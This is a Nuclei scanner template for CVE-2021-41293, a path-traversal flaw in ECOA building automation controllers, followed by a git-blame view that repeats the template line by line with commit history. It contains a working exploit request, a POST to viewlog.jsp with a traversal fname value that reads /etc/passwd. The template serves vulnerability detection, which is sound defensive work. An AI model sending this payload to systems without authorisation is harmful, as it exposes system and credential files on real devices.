nuclei-templates/http/cves/2021/CVE-2021-41293.yaml

id: CVE-2021-41293

info:
  name: ECOA Building Automation System - Arbitrary File Retrieval
  author: 0x_Akoko
  severity: high
  description: The ECOA BAS controller suffers from an arbitrary file disclosure vulnerability. Using the 'fname' POST parameter in viewlog.jsp, attackers can disclose arbitrary files on the affected device and disclose sensitive and system information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the arbitrary file retrieval vulnerability in the ECOA Building Automation System.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41293
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5679.php
    - https://www.twcert.org.tw/tw/cp-132-5129-7e623-1.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41293
    cwe-id: CWE-22
    epss-score: 0.0476
    epss-percentile: 0.9178
    cpe: cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ecoa
    product: ecs_router_controller-ecs_firmware
  tags: cve,cve2021,ecoa,lfi,disclosure

http:
  - raw:
      - |
        POST /viewlog.jsp HTTP/1.1
        Host: {{Hostname}}

        yr=2021&mh=6&fname=../../../../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# digest: 4a0a0047304502201144160d8498898b02e96c62d017c4e67800a3525df9d8ec577e2f7e8e64af45022100c53dc8628e73ad3bbe2e57a7e6416ba44f24fc858cc0845ebf85228aa6a4987e:922c64590222798bb761d5b6d8e72950
moving files around 2021-10-14 14:35:25 +00:00			`id: CVE-2021-41293`

Update ecoa-building-automation-lfd.yaml 2021-09-16 17:44:04 +00:00			`info:`
Dashboard Content Enhancements (#4381) Dashboard Content Enhancements 2022-05-13 20:26:43 +00:00			`name: ECOA Building Automation System - Arbitrary File Retrieval`
Update ecoa-building-automation-lfd.yaml 2021-09-16 17:44:04 +00:00			`author: 0x_Akoko`
Create ecoa-building-automation-lfd.yaml 2021-09-14 22:02:57 +00:00			`severity: high`
Added CPE and EPSS Score to CVE Templates 2023-04-12 10:55:48 +00:00			`description: The ECOA BAS controller suffers from an arbitrary file disclosure vulnerability. Using the 'fname' POST parameter in viewlog.jsp, attackers can disclose arbitrary files on the affected device and disclose sensitive and system information.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Apply the latest security patches or updates provided by the vendor to fix the arbitrary file retrieval vulnerability in the ECOA Building Automation System.`
More reference 2021-10-14 13:30:44 +00:00			`reference:`
Enhancement: cves/2021/CVE-2021-41293.yaml by mp 2022-03-07 15:36:19 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-41293`
More reference 2021-10-14 13:30:44 +00:00			`- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5679.php`
			`- https://www.twcert.org.tw/tw/cp-132-5129-7e623-1.html`
Auto Generated CVE annotations [Thu Oct 14 14:37:07 UTC 2021] :robot: 2021-10-14 14:37:07 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 7.5`
Auto Generated CVE annotations [Thu Oct 14 14:37:07 UTC 2021] :robot: 2021-10-14 14:37:07 +00:00			`cve-id: CVE-2021-41293`
			`cwe-id: CWE-22`
templateman update 2023-10-14 11:27:55 +00:00			`epss-score: 0.0476`
TemplateMan Update [Fri Nov 3 10:59:12 UTC 2023] :robot: 2023-11-03 10:59:12 +00:00			`epss-percentile: 0.9178`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:::::::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: ecoa`
			`product: ecs_router_controller-ecs_firmware`
			`tags: cve,cve2021,ecoa,lfi,disclosure`
Create ecoa-building-automation-lfd.yaml 2021-09-14 22:02:57 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create ecoa-building-automation-lfd.yaml 2021-09-14 22:02:57 +00:00			`- raw:`
			`- \|`
			`POST /viewlog.jsp HTTP/1.1`
			`Host: {{Hostname}}`

Update ecoa-building-automation-lfd.yaml 2021-09-14 22:24:11 +00:00			`yr=2021&mh=6&fname=../../../../../../../../etc/passwd`

Update and rename ecoa-building-automation-lfd.yaml to vulnerabilities/other/ecoa-building-automation-lfd.yaml 2021-09-17 11:09:09 +00:00			`matchers-condition: and`
Update ecoa-building-automation-lfd.yaml 2021-09-14 22:24:11 +00:00			`matchers:`
Create ecoa-building-automation-lfd.yaml 2021-09-14 22:02:57 +00:00			`- type: regex`
			`regex:`
Updated "/etc/passwd" regex to avoid possible false positive results. 2022-03-22 08:01:31 +00:00			`- "root:.*:0:0:"`
Update and rename ecoa-building-automation-lfd.yaml to vulnerabilities/other/ecoa-building-automation-lfd.yaml 2021-09-17 11:09:09 +00:00
			`- type: status`
			`status:`
			`- 200`
TemplateMan Update [Thu Nov 2 07:14:22 UTC 2023] :robot: 2023-11-02 07:14:22 +00:00
			`# digest: 4a0a0047304502201144160d8498898b02e96c62d017c4e67800a3525df9d8ec577e2f7e8e64af45022100c53dc8628e73ad3bbe2e57a7e6416ba44f24fc858cc0845ebf85228aa6a4987e:922c64590222798bb761d5b6d8e72950`